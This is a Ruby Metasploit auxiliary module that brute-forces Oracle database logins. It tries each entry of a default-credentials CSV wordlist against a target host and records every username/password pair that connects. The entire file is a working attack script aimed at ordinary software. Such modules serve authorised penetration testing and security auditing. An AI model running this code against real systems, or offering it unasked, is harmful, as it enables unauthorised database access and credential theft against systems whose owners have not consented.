##
# $Id: oracle_login.rb 10034 2010-08-18 00:58:20Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'
require 'csv'

class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Report
	include Msf::Exploit::ORACLE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle Account Discovery.',
			'Description'    => %q{
				This module uses a list of well known default authentication credentials
				to discover easily guessed accounts.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10034 $',
			'References'     =>
				[
					[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv' ],
					[ 'URL', 'http://seclists.org/fulldisclosure/2009/Oct/261' ],
				],
			'DisclosureDate' => 'Nov 20 2008'))

			register_options(
				[
					OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),
				], self.class)

			deregister_options('DBUSER','DBPASS')

	end

	def run
		return if not check_dependencies

		list = datastore['CSVFILE']

		print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")

		fd = CSV.foreach(list) do |brute|

		datastore['DBUSER'] = brute[2].downcase
		datastore['DBPASS'] = brute[3].downcase

		begin
			connect
			disconnect
		rescue ::OCIError => e
			else
				if (not e)
					report_auth_info(
						:host  => "#{datastore['RHOST']}",
						:port  => "#{datastore['RPORT']}",
						:sname => 'tns',
						:user  => "#{datastore['SID']}/#{datastore['DBUSER']}",
						:pass  => "#{datastore['DBPASS']}",
						:active => true
					)
						print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
				end
		end
		end
	end
end

